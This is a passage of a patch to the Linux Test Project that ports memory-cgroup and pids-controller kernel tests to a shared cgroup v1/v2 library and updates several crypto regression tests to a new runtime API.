SAFE_CG_PRINT(trunk_cg[A], "memory.max", "200M"); + SAFE_CG_PRINT(trunk_cg[A], "memory.swap.max", "0"); + + trunk_cg[B] = tst_cg_group_mk(trunk_cg[A], "trunk_B"); + + SAFE_CG_PRINT(trunk_cg[B], "cgroup.subtree_control", "+memory"); + + trunk_cg[G] = tst_cg_group_mk(trunk_cg[A], "trunk_G"); + + for (i = 0; i < ARRAY_SIZE(leaf_cg); i++) { + leaf_cg[i] = tst_cg_group_mk(trunk_cg[B], + "leaf_%c", 'C' + i); + + if (i == E) + continue; + + alloc_pagecache_in_child(leaf_cg[i], MB(50)); + } + + SAFE_CG_PRINT(trunk_cg[A], "memory.low", "50M"); + SAFE_CG_PRINT(trunk_cg[B], "memory.low", "50M"); + SAFE_CG_PRINT(leaf_cg[C], "memory.low", "75M"); + SAFE_CG_PRINT(leaf_cg[D], "memory.low", "25M"); + SAFE_CG_PRINT(leaf_cg[E], "memory.low", "500M"); + SAFE_CG_PRINT(leaf_cg[F], "memory.low", "0"); + + alloc_anon_in_child(trunk_cg[G], MB(148)); + + SAFE_CG_SCANF(trunk_cg[B], "memory.current", "%ld", c); + TST_EXP_EXPR(values_close(c[0], MB(50), 5), + "(A/B memory.current=%ld) ~= %d", c[0], MB(50)); + + for (i = 0; i < ARRAY_SIZE(leaf_cg); i++) + SAFE_CG_SCANF(leaf_cg[i], "memory.current", "%ld", c + i); + + TST_EXP_EXPR(values_close(c[0], MB(33), 20), + "(A/B/C memory.current=%ld) ~= %d", c[C], MB(33)); + TST_EXP_EXPR(values_close(c[1], MB(17), 20), + "(A/B/D memory.current=%ld) ~= %d", c[D], MB(17)); + TST_EXP_EXPR(values_close(c[2], 0, 1), + "(A/B/E memory.current=%ld) ~= 0", c[E]); + tst_res(TINFO, "A/B/F memory.current=%ld", c[F]); + + alloc_anon_in_child(trunk_cg[G], MB(166)); + + for (i = 0; i < ARRAY_SIZE(trunk_cg); i++) { + long low, oom; + const char id = "ABG"[i]; + + SAFE_CG_LINES_SCANF(trunk_cg[i], "memory.events", + "low %ld", &low); + SAFE_CG_LINES_SCANF(trunk_cg[i], "memory.events", + "oom %ld", &oom); + + tst_res(TINFO, "%c: low events=%ld, oom events=%ld", + id, low, oom); + } + + for (i = 0; i < ARRAY_SIZE(leaf_cg); i++) { + long low, oom; + const char id = 'C' + i; + + SAFE_CG_LINES_SCANF(leaf_cg[i], "memory.events", + "low %ld", &low); + SAFE_CG_LINES_SCANF(leaf_cg[i], "memory.events", + "oom %ld", &oom); + + TST_EXP_EXPR(oom == 0, "(%c oom events=%ld) == 0", id, oom); + + if (i < E) { + TST_EXP_EXPR(low > 0, + "(%c low events=%ld) > 0", id, low); + } else { + TST_EXP_EXPR(low == 0, + "(%c low events=%ld) == 0", id, low); + } + } + + cleanup_sub_groups(); + SAFE_CLOSE(fd); + SAFE_UNLINK(TMPDIR"/tmpfile"); +} + +static void cleanup(void) +{ + cleanup_sub_groups(); + if (fd > -1) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .cleanup = cleanup, + .test_all = test_memcg_low, + .mount_device = 1, + .dev_min_size = 256, + .mntpoint = TMPDIR, + .all_filesystems = 1, + .skip_filesystems = (const char *const[]){ + "exfat", "vfat", "fuse", "ntfs", "tmpfs", NULL + }, + .forks_child = 1, + .needs_root = 1, + .needs_checkpoints = 1, + .needs_cgroup_ver = TST_CG_V2, + .needs_cgroup_ctrls = (const char *const[]){ "memory", NULL }, + .tags = (const struct tst_tag[]) { + { + "known-fail", + "Low events in F: https://bugzilla.suse.com/show_bug.cgi?id=1196298" + }, + {} + }, +}; diff --git a/testcases/kernel/controllers/memcg/memcontrol_common.h b/testcases/kernel/controllers/memcg/memcontrol_common.h new file mode 100644 index 00000000..adb6fafb --- /dev/null +++ b/testcases/kernel/controllers/memcg/memcontrol_common.h @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: GPL-2.0 + +#include +#include + +#include "tst_test.h" + +#define TMPDIR "mntdir" +#define MB(x) (x << 20) + +/* + * Checks if two given values differ by less than err% of their + * sum. An extra percent is added for every doubling of the page size + * to compensate for wastage in page sized allocations. + */ +static inline int values_close(const ssize_t a, + const ssize_t b, + const ssize_t err) +{ + const size_t page_size = SAFE_SYSCONF(_SC_PAGESIZE); + const ssize_t page_adjusted_err = ffs(page_size >> 13) + err; + + return 100 * labs(a - b) <= (a + b) * page_adjusted_err; +} + +static inline void alloc_pagecache(const int fd, size_t size) +{ + char buf[BUFSIZ]; + size_t i; + + SAFE_LSEEK(fd, 0, SEEK_END); + + for (i = 0; i < size; i += sizeof(buf)) + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, sizeof(buf)); +} + +static inline void alloc_anon(const size_t size) +{ + const size_t page_size = SAFE_SYSCONF(_SC_PAGESIZE); + char *const buf = SAFE_MALLOC(size); + size_t i; + + for (i = 0; i < size; i += page_size) + buf[i] = 0; + + free(buf); +} diff --git a/testcases/kernel/controllers/memcg/regression/memcg_regression_test.sh b/testcases/kernel/controllers/memcg/regression/memcg_regression_test.sh index c91a4069..58759263 100755 --- a/testcases/kernel/controllers/memcg/regression/memcg_regression_test.sh +++ b/testcases/kernel/controllers/memcg/regression/memcg_regression_test.sh @@ -1,50 +1,16 @@ #! /bin/sh - -################################################################################ -## ## -## Copyright (c) 2009 FUJITSU LIMITED ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## Author: Li Zefan ## -## Added memcg enable/disable functinality: Rishikesh K Rajak ## -## +# Added memcg enable/disable functionality: Rishikesh K Rajak + +TST_ID="memcg_regression_test" +TST_CLEANUP=cleanup +TST_SETUP=setup +TST_TESTFUNC=test_ +TST_NEEDS_ROOT=1 +TST_NEEDS_CMDS="killall kill" +TST_CNT=4 #buffer can rotate and number of found bugs can actually go down #so clear the buffer to avoid this @@ -70,16 +36,16 @@ check_kernel_bug() # some kernel bug is detected if [ $new_bug -gt $nr_bug ]; then - tst_resm TFAIL "kernel BUG was detected!" + tst_res TFAIL "kernel BUG was detected!" fi if [ $new_warning -gt $nr_warning ]; then - tst_resm TFAIL "kernel WARNING was detected!" + tst_res TFAIL "kernel WARNING was detected!" fi if [ $new_null -gt $nr_null ]; then - tst_resm "kernel NULL pointer dereference!" + tst_res TWARN "kernel NULL pointer dereference!" fi if [ $new_lockdep -gt $nr_lockdep ]; then - tst_resm "kernel lockdep warning was detected!" + tst_res TWARN "kernel lockdep warning was detected!" fi nr_bug=$new_bug @@ -89,10 +55,45 @@ check_kernel_bug() echo "check_kernel_bug found something!" dmesg - failed=1 return 0 } +setup() +{ + cgroup_require "memory" + cgroup_version=$(cgroup_get_version "memory") + mount_point=$(cgroup_get_mountpoint "memory") + test_dir=$(cgroup_get_test_path "memory") + task_list=$(cgroup_get_task_list "memory") + if [ "$cgroup_version" = "2" ]; then + memory_limit="memory.max" + else + memory_limit="memory.limit_in_bytes" + fi + + [ "$cgroup_version" = "2" ] && ROD echo "+memory" \> "$test_dir/cgroup.subtree_control" + + tst_res TINFO "test starts with cgroup version $cgroup_version" +} + +cleanup() +{ + cleanup_testpath "$test_dir/0" + cgroup_cleanup +} + +create_testpath() +{ + local path="$1" + [ ! -e "$path" ] && ROD mkdir "$path" +} + +cleanup_testpath() +{ + local path="$1" + [ -e "$path" ] && ROD rmdir "$path" +} + #--------------------------------------------------------------------------- # Bug: The bug was, while forking mass processes, trigger memcgroup OOM, # then NULL pointer dereference may be hit. @@ -102,16 +103,19 @@ check_kernel_bug() #--------------------------------------------------------------------------- test_1() { - mkdir memcg/0/ - echo 0 > memcg/0/memory.limit_in_bytes + local test_path + test_path="$test_dir/0" + + create_testpath "$test_path" + ROD echo 0 \> "$test_path/$memory_limit" - ./memcg_test_1 + ./memcg_test_1 "$test_path/$task_list" - rmdir memcg/0/ + cleanup_testpath "$test_path" check_kernel_bug if [ $? -eq 1 ]; then - tst_resm TPASS "no kernel bug was found" + tst_res TPASS "no kernel bug was found" fi } @@ -124,19 +128,31 @@ test_1() #--------------------------------------------------------------------------- test_2() { + local test_path + + # for cgroup2 writing to memory.max first checks the new limit against the + # current usage and will start killing processes if oom, therefore we do not + # expect EBUSY to be returned by the shrink operation. + if [ "$cgroup_version" = "2" ]; then + tst_res TCONF "Cgroup v2 found, skipping test" + return + fi + + test_path="$test_dir/0" + ./memcg_test_2 & pid1=$! sleep 1 - mkdir memcg/0 - echo $pid1 > memcg/0/tasks + create_testpath "$test_path" + ROD echo $pid1 \> "$test_path"/tasks # let pid1 'test_2' allocate memory /bin/kill -SIGUSR1 $pid1 sleep 1 # shrink memory - echo 1 > memcg/0/memory.limit_in_bytes 2>&1 & + echo 1 > "$test_path"/memory.limit_in_bytes 2>&1 & pid2=$! # check if 'echo' will exit and exit with failure @@ -146,26 +162,25 @@ test_2() if [ $? -ne 0 ]; then wait $pid2 if [ $? -eq 0 ]; then - tst_resm TFAIL "echo should return failure" - failed=1 + tst_res TFAIL "echo should return failure" kill -9 $pid1 $pid2 > /dev/null 2>&1 wait $pid1 $pid2 - rmdir memcg/0 + cleanup_testpath "$test_path" + return fi break fi done if [ $tmp -eq 5 ]; then - tst_resm TFAIL "'echo' doesn't exit!" - failed=1 + tst_res TFAIL "'echo' doesn't exit!" else - tst_resm TPASS "EBUSY was returned as expected" + tst_res TPASS "EBUSY was returned as expected" fi kill -9 $pid1 $pid2 > /dev/null 2>&1 wait $pid1 $pid2 > /dev/null 2>&1 - rmdir memcg/0 + cleanup_testpath "$test_path" } #--------------------------------------------------------------------------- @@ -176,19 +191,22 @@ test_2() #--------------------------------------------------------------------------- test_3() { - mkdir memcg/0 - for pid in `cat memcg/tasks`; do - echo $pid > memcg/0/tasks 2> /dev/null + local test_path + test_path="$test_dir/0" + create_testpath "$test_path" + + for pid in $(cat "$mount_point/$task_list"); do + echo $pid > "$test_path/$task_list" 2> /dev/null done - for pid in `cat memcg/0/tasks`; do - echo $pid > memcg/tasks 2> /dev/null + for pid in $(cat "$test_path/$task_list"); do + echo $pid > "$mount_point/$task_list" 2> /dev/null done - rmdir memcg/0 + cleanup_testpath "$test_path" check_kernel_bug if [ $? -eq 1 ]; then - tst_resm TPASS "no kernel bug was found" + tst_res TPASS "no kernel bug was found" fi } @@ -200,11 +218,15 @@ test_3() #--------------------------------------------------------------------------- test_4() { - ./memcg_test_4.sh + local test_path + test_path="$test_dir/0" + create_testpath "$test_path" + + ./memcg_test_4.sh "$cgroup_version" "$mount_point" "$test_path" check_kernel_bug if [ $? -eq 1 ]; then - tst_resm TPASS "no kernel bug was found" + tst_res TPASS "no kernel bug was found" fi # test_4.sh might be killed by oom, so do clean up here @@ -212,31 +234,10 @@ test_4() killall -9 memcg_test_4.sh 2> /dev/null # if test_4.sh gets killed, it won't clean cgroup it created - rmdir memcg/0 2> /dev/null + cleanup_testpath "$test_path" swapon -a } -# main -failed=0 -mkdir memcg/ - -for cur in $(seq 1 $TST_TOTAL); do - export TST_COUNT=$cur - - mount -t cgroup -o memory xxx memcg/ - if [ $? -ne 0 ]; then - tst_resm TFAIL "failed to mount memory subsystem" - failed=1 - continue - fi - - test_$cur - - umount memcg/ -done - -rmdir memcg/ - -exit $failed - +. cgroup_lib.sh +tst_run diff --git a/testcases/kernel/controllers/memcg/regression/memcg_test_1.c b/testcases/kernel/controllers/memcg/regression/memcg_test_1.c index c7fb948f..95f1aabb 100755 --- a/testcases/kernel/controllers/memcg/regression/memcg_test_1.c +++ b/testcases/kernel/controllers/memcg/regression/memcg_test_1.c @@ -1,24 +1,6 @@ -/******************************************************************************/ -/* */ -/* Copyright (c) 2009 FUJITSU LIMITED */ -/* */ -/* This program is free software; you can redistribute it and/or modify */ -/* it under the terms of the GNU General Public License as published by */ -/* the Free Software Foundation; either version 2 of the License, or */ -/* (at your option) any later version. */ -/* */ -/* This program is distributed in the hope that it will be useful, */ -/* but WITHOUT ANY WARRANTY; without even the implied warranty of */ -/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See */ -/* the GNU General Public License for more details. */ -/* */ -/* You should have received a copy of the GNU General Public License */ -/* along with this program; if not, write to the Free Software */ -/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* */ -/* Author: Li Zefan */ -/* */ -/******************************************************************************/ +// SPDX-License-Identifier: GPL-2.0-or-later +// Copyright (c) 2009 FUJITSU LIMITED +// Author: Li Zefan #include #include @@ -33,17 +15,25 @@ #define FORKED_PROC_COUNT 10 -int main(void) +int main(int argc, char *argv[]) { char buf[10]; int i; int loop; int pid; + int fd; int size = getpagesize(); - int fd = open("memcg/0/tasks", O_WRONLY); - if (fd < 0) - return 1; + if (argc != 2) { + perror("Invalid num of args"); + exit(1); + } + + fd = open(argv[1], O_WRONLY); + if (fd < 0) { + perror("Could not open tasklist"); + exit(1); + } for (loop = 0; loop < LOOP; loop++) { for (i = 0; i < FORKED_PROC_COUNT; i++) { diff --git a/testcases/kernel/controllers/memcg/regression/memcg_test_2.c b/testcases/kernel/controllers/memcg/regression/memcg_test_2.c index 843b0781..c118d455 100755 --- a/testcases/kernel/controllers/memcg/regression/memcg_test_2.c +++ b/testcases/kernel/controllers/memcg/regression/memcg_test_2.c @@ -1,24 +1,6 @@ -/******************************************************************************/ -/* */ -/* Copyright (c) 2009 FUJITSU LIMITED */ -/* */ -/* This program is free software; you can redistribute it and/or modify */ -/* it under the terms of the GNU General Public License as published by */ -/* the Free Software Foundation; either version 2 of the License, or */ -/* (at your option) any later version. */ -/* */ -/* This program is distributed in the hope that it will be useful, */ -/* but WITHOUT ANY WARRANTY; without even the implied warranty of */ -/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See */ -/* the GNU General Public License for more details. */ -/* */ -/* You should have received a copy of the GNU General Public License */ -/* along with this program; if not, write to the Free Software */ -/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* */ -/* Author: Li Zefan */ -/* */ -/******************************************************************************/ +// SPDX-License-Identifier: GPL-2.0-or-later +// Copyright (c) 2009 FUJITSU LIMITED +// Author: Li Zefan #include #include diff --git a/testcases/kernel/controllers/memcg/regression/memcg_test_3.c b/testcases/kernel/controllers/memcg/regression/memcg_test_3.c index 75a6e154..f29c2bea 100755 --- a/testcases/kernel/controllers/memcg/regression/memcg_test_3.c +++ b/testcases/kernel/controllers/memcg/regression/memcg_test_3.c @@ -17,12 +17,10 @@ #include #include #include "tst_test.h" +#include "tst_cgroup.h" -#define MNTPOINT "memcg" -#define SUBDIR "memcg/testdir" - -static int mount_flag; static volatile int sigcounter; +static struct tst_cg_group *test_cg; static void sighandler(int sig LTP_ATTRIBUTE_UNUSED) { @@ -48,9 +46,10 @@ static void do_test(void) do_child(); while (sigcounter < 50000) { - if (access(SUBDIR, F_OK)) - SAFE_MKDIR(SUBDIR, 0644); - rmdir(SUBDIR); + test_cg = tst_cg_group_mk(tst_cg, "test"); + + if (test_cg) + test_cg = tst_cg_group_rm(test_cg); } SAFE_KILL(cpid, SIGKILL); @@ -61,34 +60,27 @@ static void do_test(void) static void setup(void) { - int ret; + struct tst_cg_opts opts; - SAFE_MKDIR(MNTPOINT, 0644); + memset(&opts, 0, sizeof(opts)); - ret = mount("memcg", MNTPOINT, "cgroup", 0, "memory"); - if (ret) { - if (errno == ENOENT) - tst_brk(TCONF | TERRNO, "memcg not supported"); - - tst_brk(TCONF | TERRNO, "mounting memcg failed"); - } - mount_flag = 1; + tst_cg_require("memory", &opts); + tst_cg_init(); + if (TST_CG_VER(tst_cg, "memory") != TST_CG_V1) + SAFE_CG_PRINT(tst_cg, "cgroup.subtree_control", "+memory"); } static void cleanup(void) { - if (!access(SUBDIR, F_OK)) - SAFE_RMDIR(SUBDIR); + if (test_cg) + test_cg = tst_cg_group_rm(test_cg); - if (mount_flag) - tst_umount(MNTPOINT); + tst_cg_cleanup(); } static struct tst_test test = { .needs_root = 1, - .needs_tmpdir = 1, .forks_child = 1, - .min_kver = "2.6.24", .setup = setup, .cleanup = cleanup, .test_all = do_test, diff --git a/testcases/kernel/controllers/memcg/regression/memcg_test_4.c b/testcases/kernel/controllers/memcg/regression/memcg_test_4.c index d714561e..743c8410 100755 --- a/testcases/kernel/controllers/memcg/regression/memcg_test_4.c +++ b/testcases/kernel/controllers/memcg/regression/memcg_test_4.c @@ -1,24 +1,6 @@ -/******************************************************************************/ -/* */ -/* Copyright (c) 2009 FUJITSU LIMITED */ -/* */ -/* This program is free software; you can redistribute it and/or modify */ -/* it under the terms of the GNU General Public License as published by */ -/* the Free Software Foundation; either version 2 of the License, or */ -/* (at your option) any later version. */ -/* */ -/* This program is distributed in the hope that it will be useful, */ -/* but WITHOUT ANY WARRANTY; without even the implied warranty of */ -/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See */ -/* the GNU General Public License for more details. */ -/* */ -/* You should have received a copy of the GNU General Public License */ -/* along with this program; if not, write to the Free Software */ -/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* */ -/* Author: Li Zefan */ -/* */ -/******************************************************************************/ +// SPDX-License-Identifier: GPL-2.0-or-later +// Copyright (c) 2009 FUJITSU LIMITED +// Author: Li Zefan #include #include diff --git a/testcases/kernel/controllers/memcg/regression/memcg_test_4.sh b/testcases/kernel/controllers/memcg/regression/memcg_test_4.sh index 62003136..8723abb2 100755 --- a/testcases/kernel/controllers/memcg/regression/memcg_test_4.sh +++ b/testcases/kernel/controllers/memcg/regression/memcg_test_4.sh @@ -1,30 +1,21 @@ #! /bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2009 FUJITSU LIMITED +# Author: Li Zefan -################################################################################ -## ## -## Copyright (c) 2009 FUJITSU LIMITED ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## Author: Li Zefan ## -## ## -################################################################################ - -# attach current task to memcg/0/ -mkdir memcg/0 -echo $$ > memcg/0/tasks +cgroup_version="$1" +mount_point="$2" +test_path="$3" + +if [ "$cgroup_version" = "2" ]; then + task_list="cgroup.procs" + memory_limit="memory.max" +else + task_list="tasks" + memory_limit="memory.limit_in_bytes" +fi + +echo $$ > "$test_path/$task_list" ./memcg_test_4 & pid=$! @@ -35,14 +26,13 @@ sleep 1 sleep 1 # shrink memory, and then 80M will be swapped -echo 40M > memcg/0/memory.limit_in_bytes +echo 40M > "$test_path/$memory_limit" # turn off swap, and swapoff will be killed swapoff -a sleep 1 -echo $pid > memcg/tasks 2> /dev/null -echo $$ > memcg/tasks 2> /dev/null +echo $pid > "$mount_point/$task_list" 2> /dev/null +echo $$ > "$mount_point/$task_list" 2> /dev/null # now remove the cgroup -rmdir memcg/0 - +rmdir "$test_path" diff --git a/testcases/kernel/controllers/memcg/stress/memcg_stress_test.sh b/testcases/kernel/controllers/memcg/stress/memcg_stress_test.sh index c43d7211..47cac9af 100755 --- a/testcases/kernel/controllers/memcg/stress/memcg_stress_test.sh +++ b/testcases/kernel/controllers/memcg/stress/memcg_stress_test.sh @@ -2,7 +2,7 @@ # SPDX-License-Identifier: GPL-2.0-or-later # Copyright (c) 2009 FUJITSU LIMITED # Copyright (c) 2018-2019 ARM Ltd. All Rights Reserved. -# Copyright (c) 2019 Petr Vorel +# Copyright (c) 2019-2022 Petr Vorel # # Author: Li Zefan # Restructure for LTP: Shi Weihua @@ -19,42 +19,38 @@ TST_NEEDS_CMDS="mount umount cat kill mkdir rmdir grep awk cut" # therefore the default 5 mins timeout is not enough. TST_TIMEOUT=2100 -. cgroup_lib.sh - setup() { - if ! is_cgroup_subsystem_available_and_enabled "memory"; then - tst_brk TCONF "Either kernel does not support Memory Resource Controller or feature not enabled" + cgroup_require "memory" + cgroup_version=$(cgroup_get_version "memory") + test_path=$(cgroup_get_test_path "memory") + task_list=$(cgroup_get_task_list "memory") + if [ "$cgroup_version" = "2" ]; then + ROD echo "+memory" \> "$test_path/cgroup.subtree_control" fi + tst_res TINFO "test starts with cgroup version $cgroup_version" + echo 3 > /proc/sys/vm/drop_caches sleep 2 - local mem_free=`cat /proc/meminfo | grep MemFree | awk '{ print $2 }'` - local swap_free=`cat /proc/meminfo | grep SwapFree | awk '{ print $2 }'` - local pgsize=`tst_getconf PAGESIZE` - - MEM=$(( $mem_free + $swap_free / 2 )) + local mem_free=$(awk '/MemFree/ {print $2}' /proc/meminfo) + local mem_available=$(awk '/MemAvailable/ {print $2}' /proc/meminfo) + local swap_free=$(awk '/SwapFree/ {print $2}' /proc/meminfo) + local mem_min=$(cat /proc/sys/vm/min_free_kbytes) + + mem_min=$(( $mem_min + $mem_min/10 )) + [ $swap_free -gt $mem_min ] && RESERVED_MEM=0 || RESERVED_MEM=$mem_min + [ $mem_free -lt $mem_available ] && MEM=$mem_free || MEM=$mem_available + MEM=$(( $MEM - $RESERVED_MEM )) MEM=$(( $MEM / 1024 )) RUN_TIME=$(( 15 * 60 )) - [ "$pgsize" = "4096" ] && THREAD_SPARE_MB=1 || THREAD_SPARE_MB=8 tst_res TINFO "Calculated available memory $MEM MB" } cleanup() { - if [ -e /dev/memcg ]; then - EXPECT_PASS umount /dev/memcg - EXPECT_PASS rmdir /dev/memcg - fi -} - -do_mount() -{ - cleanup - - EXPECT_PASS mkdir /dev/memcg - EXPECT_PASS mount -t cgroup -omemory memcg /dev/memcg + cgroup_cleanup } # $1 Number of cgroups @@ -71,13 +67,11 @@ run_stress() tst_res TINFO "Testing $cgroups cgroups, using $mem_size MB, interval $interval" - do_mount - tst_res TINFO "Starting cgroups" for i in $(seq 0 $(($cgroups-1))); do - mkdir /dev/memcg/$i 2> /dev/null + ROD mkdir "$test_path/$i" memcg_process_stress $mem_size $interval & - echo $! > /dev/memcg/$i/tasks + ROD echo $! \> "$test_path/$i/$task_list" pids="$pids $!" done @@ -93,22 +87,22 @@ run_stress() for pid in $pids; do kill -KILL $pid 2> /dev/null wait $pid 2> /dev/null - rmdir /dev/memcg/$i 2> /dev/null + ROD rmdir "$test_path/$i" i=$((i+1)) done tst_res TPASS "Test passed" - cleanup } test1() { - run_stress 150 $(( ($MEM - 150 * $THREAD_SPARE_MB) / 150 )) 5 $RUN_TIME + run_stress 150 $(( $MEM / 150 )) 5 $RUN_TIME } test2() { - run_stress 1 $(( $MEM - $THREAD_SPARE_MB)) 5 $RUN_TIME + run_stress 1 $MEM 5 $RUN_TIME } +. cgroup_lib.sh tst_run diff --git a/testcases/kernel/controllers/pids/pids.sh b/testcases/kernel/controllers/pids/pids.sh index a3d644ef..26a0c6a2 100755 --- a/testcases/kernel/controllers/pids/pids.sh +++ b/testcases/kernel/controllers/pids/pids.sh @@ -13,8 +13,6 @@ TST_USAGE=usage TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="killall" -. tst_test.sh - caseno=$1 max=$2 subcgroup_num=$3 @@ -38,66 +36,17 @@ cleanup() { killall -9 pids_task2 >/dev/null 2>&1 - tst_res TINFO "removing created directories" - rmdir $testpath - if [ "$mounted" -ne "1" ]; then - tst_res TINFO "Umounting pids" - umount $mount_point - rmdir $mount_point - fi -} - -setup_cgroupv2() -{ - mount_point=$(grep -w cgroup2 /proc/mounts | cut -f 2 | cut -d " " -f2) - if ! grep -q pids "$mount_point"/cgroup.controllers; then - tst_res TINFO "pids not supported on cgroup v2." - return - fi - - testpath="$mount_point/ltp_pids_$caseno" - ROD mkdir -p "$testpath" - task_list="cgroup.procs" - cgroup_v="v2" -} - -setup_cgroupv1() -{ - exist=`grep -w pids /proc/cgroups | cut -f1`; - if [ "$exist" = "" ]; then - tst_brk TCONF NULL "pids not supported" - fi - - mount_point=`grep -w pids /proc/mounts | cut -f 2 | cut -d " " -f2` - - if [ "$mount_point" = "" ]; then - mounted=0 - mount_point=/dev/cgroup - fi - - testpath=$mount_point/ltp_pids_$caseno - - if [ "$mounted" -eq "0" ]; then - ROD mkdir -p $mount_point - ROD mount -t cgroup -o pids none $mount_point - fi - ROD mkdir -p $testpath - task_list="tasks" - cgroup_v="v1" + cgroup_cleanup } setup() { - # If cgroup2 is mounted already, then let's - # try to start with cgroup v2. - if grep -q cgroup2 /proc/mounts; then - setup_cgroupv2 - fi - if [ -z "$cgroup_v" ]; then - setup_cgroupv1 - fi + cgroup_require "pids" + cgroup_version=$(cgroup_get_version "pids") + testpath=$(cgroup_get_test_path "pids") + task_list=$(cgroup_get_task_list "pids") - tst_res TINFO "test starts with cgroup $cgroup_v" + tst_res TINFO "test starts with cgroup version $cgroup_version" } start_pids_tasks2() @@ -298,7 +247,7 @@ case8() { tst_res TINFO "set child cgroup limit smaller than its parent limit" ROD echo $max \> $testpath/pids.max - if [ "$cgroup_v" = "v2" ]; then + if [ "$cgroup_version" = "2" ]; then ROD echo +pids \> "$testpath"/cgroup.subtree_control fi mkdir $testpath/child @@ -328,7 +277,7 @@ case9() tst_res TINFO "migrate cgroup" lim=$((max - 1)) - if [ "$cgroup_v" = "v2" ]; then + if [ "$cgroup_version" = "2" ]; then ROD echo +pids \> "$testpath"/cgroup.subtree_control fi for i in 1 2; do @@ -393,4 +342,5 @@ do_test() case$caseno } +. cgroup_lib.sh tst_run diff --git a/testcases/kernel/crypto/af_alg02.c b/testcases/kernel/crypto/af_alg02.c index 9894ffac..40d07ca9 100755 --- a/testcases/kernel/crypto/af_alg02.c +++ b/testcases/kernel/crypto/af_alg02.c @@ -65,7 +65,7 @@ static void run(void) TST_CHECKPOINT_WAIT(0); while (!completed) { - if (tst_timeout_remaining() <= 10) { + if (!tst_remaining_runtime()) { pthread_cancel(thr); tst_brk(TBROK, "Timed out while reading from request socket."); @@ -77,7 +77,7 @@ static void run(void) static struct tst_test test = { .test_all = run, - .timeout = 20, + .max_runtime = 20, .needs_checkpoints = 1, .tags = (const struct tst_tag[]) { {"linux-git", "ecaaab564978"}, diff --git a/testcases/kernel/crypto/af_alg04.c b/testcases/kernel/crypto/af_alg04.c index 7b665f89..10975068 100755 --- a/testcases/kernel/crypto/af_alg04.c +++ b/testcases/kernel/crypto/af_alg04.c @@ -41,7 +41,7 @@ static void test_with_symm_enc_algs(const char *symm_enc_algname) reqfd = tst_alg_accept(algfd); for (i = 0; i < 500000; i++) - SAFE_WRITE(1, reqfd, buf, sizeof(buf)); + SAFE_WRITE(SAFE_WRITE_ALL, reqfd, buf, sizeof(buf)); close(reqfd); diff --git a/testcases/kernel/crypto/af_alg05.c b/testcases/kernel/crypto/af_alg05.c index e835b8a1..5237bea6 100755 --- a/testcases/kernel/crypto/af_alg05.c +++ b/testcases/kernel/crypto/af_alg05.c @@ -30,7 +30,7 @@ static void run(void) reqfd = tst_alg_setup_reqfd("skcipher", "cbc(aes-generic)", NULL, 16); - SAFE_WRITE(1, reqfd, buffer, 15); + SAFE_WRITE(SAFE_WRITE_ALL, reqfd, buffer, 15); /* with the bug, this crashed the kernel on some architectures */ TEST(read(reqfd, buffer, 15)); diff --git a/testcases/kernel/crypto/af_alg07.c b/testcases/kernel/crypto/af_alg07.c index ef13ad76..9c251663 100755 --- a/testcases/kernel/crypto/af_alg07.c +++ b/testcases/kernel/crypto/af_alg07.c @@ -125,6 +125,7 @@ static struct tst_test test = { .cleanup = cleanup, .min_kver = "4.10.0", .min_cpus = 2, + .max_runtime = 150, .taint_check = TST_TAINT_W | TST_TAINT_D, .tags = (const struct tst_tag[]) { {"linux-git", "ff7b11aa481f"}, diff --git a/testcases/kernel/crypto/pcrypt_aead01.c b/testcases/kernel/crypto/pcrypt_aead01.c index 0609af9f..3b4f5d8d 100755 --- a/testcases/kernel/crypto/pcrypt_aead01.c +++ b/testcases/kernel/crypto/pcrypt_aead01.c @@ -7,7 +7,7 @@ * Originally found by syzkaller: * https://groups.google.com/forum/#!topic/syzkaller-bugs/NKn_ivoPOpk * - * Test for CVE-2017-5754 - pcrypt mishandles freeing instances. + * Test for CVE-2017-18075 - pcrypt mishandles freeing instances. * * The test works by adding and then removing pcrypt-AEAD instances. * See commit d76c68109f37 crypto: pcrypt - fix freeing pcrypt instances. @@ -55,7 +55,7 @@ void run(void) if (TST_RET) tst_brk(TBROK | TRERRNO, "del_alg"); - if (tst_timeout_remaining() < 10) { + if (!tst_remaining_runtime()) { tst_res(TINFO, "Time limit reached, stopping at " "%d iterations", i); break; @@ -75,9 +75,10 @@ static struct tst_test test = { .test_all = run, .cleanup = cleanup, .needs_root = 1, + .max_runtime = 300, .tags = (const struct tst_tag[]) { {"linux-git", "d76c68109f37"}, - {"CVE", "2017-5754"}, + {"CVE", "2017-18075"}, {} } }; diff --git a/testcases/kernel/device-drivers/acpi/ltp_acpi.c b/testcases/kernel/device-drivers/acpi/ltp_acpi.c index f2dc6a4d..7dba0455 100755 --- a/testcases/kernel/device-drivers/acpi/ltp_acpi.c 